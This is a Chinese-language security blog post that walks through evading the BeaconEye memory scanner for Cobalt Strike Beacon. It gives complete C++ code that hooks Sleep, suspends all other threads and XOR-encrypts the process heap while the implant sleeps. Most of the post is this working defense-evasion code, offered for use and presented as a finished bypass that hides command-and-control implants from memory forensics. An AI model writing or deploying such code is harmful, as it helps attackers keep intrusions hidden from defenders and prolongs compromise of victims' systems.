这是[信安成长计划]的第 9 篇文章
关注微信公众号[信安成长计划]
0x00 目录
0x01 CS4.5 Sleep_Mask
0x02 HeapEncrypt
0x03 效果
0x04 参考文章
在之前的文章《Bypass BeaconEye》中提过了两个 Bypass BeaconEye 的方法,都是通过打乱 C2Profile 结构来做的,还有另外一种方式就是在 Sleep 的时候加密堆内存,在 CS4.5 中也对 Sleep_Mask 进行了更新
0x01 CS4.5 Sleep_Mask
根据 **官网****[1] **的解释可以猜出一二
增加了 HEAP_PECORDS 结构体,根据名字猜测是用来记录堆内存的,所以大概率是记录了某一部分带特征的堆内存地址,然后在 Sleep 的时候将其进行混淆,用来躲过 BeaconEye 的检测,当然也有可能是将所有申请的堆内存都混淆
0x02 HeapEncrypt
按照对 Sleep 的分析《Beacon sleep_mask 分析》可以得知它是在加密和解密函数中间的,但是它只处理了当前 PE 结构,为了能够增加对堆的混淆,可以采用直接 HOOK Sleep 的方式,这样就可以完美的实现这个需求了
至于如何 HOOK 就看大家的偏好了,可以使用 IAT HOOK,在加载 Beacon 的时候直接将 Sleep 的函数替换掉,如果是在同一个进程中,也可以 HOOK 当前的 Sleep,因为在同一个进程空间中,使用的是同一份 Kernel32,这样在调用 Sleep 的时候就会走到我们所实现的 Sleep 当中
这里使用 MinHook 库来完成整个 HOOK 操作
if (MH_Initialize() != MH_OK) return 1;
if (MH_CreateHook(&Sleep, &DetourSleep, reinterpret_cast<LPVOID*>(&fpSleep)) != MH_OK) return 1;
if (MH_EnableHook(&Sleep) != MH_OK) return 1;
对于 Sleep 函数来说也是很简单了,直接模仿 Beacon 的操作来完成即可
VOID WINAPI DetourSleep(DWORD dwMilliseconds) {
EncryptHeap();
fpSleep(dwMilliseconds);
EncryptHeap();
}
而对于 EncryptHeap 来说,就是要找到所有的堆,然后将其混淆即可
VOID EncryptHeap() {
PROCESS_HEAP_ENTRY heapEntry = { 0 };
HANDLE hHeap = GetProcessHeap();
while (HeapWalk(hHeap, &heapEntry))
{
if (heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY)
{
Xor((char*)heapEntry.lpData, heapEntry.cbData);
}
}
}
然后运行函数,结果却直接异常了
猜测可能是有其他的线程还在跑,使用了堆空间,所以并不能直接混淆所有堆内存,这可能也是 CS4.5 选择增加堆记录的原因之一
之后在 文章****[2]中看到了一句话,才解开了这个疑惑
An important note! Even if you think your program is single threaded, Windows appears to provide threads in the background that do garbage collection and other types of functions for utilities like RPC and WININET, if you don't suspend those threads they will crash your process as they try to reference encrypted allocations.
这也就证实了之前的猜想,在 Sleep 的时候还会有其他的线程在运行,所以得选择性的进行混淆,或者使用文章中所提到的方案:将所有的线程全部挂起
直接使用这篇文章所提供的 示例****[3]来做
所以我们的 Sleep 应该变成
VOID WINAPI DetourSleep(DWORD dwMilliseconds) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
EncryptHeap();
fpSleep(dwMilliseconds);
EncryptHeap();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
对于挂起和恢复的函数,项目中都直接提供了
void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
ResumeThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
这样也就完成了整个功能的书写
0x03 效果
最后再来验证一下 Bypass 的效果
0x04 参考文章
[1] https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5/
手机扫一扫
移动阅读更方便
你可能感兴趣的文章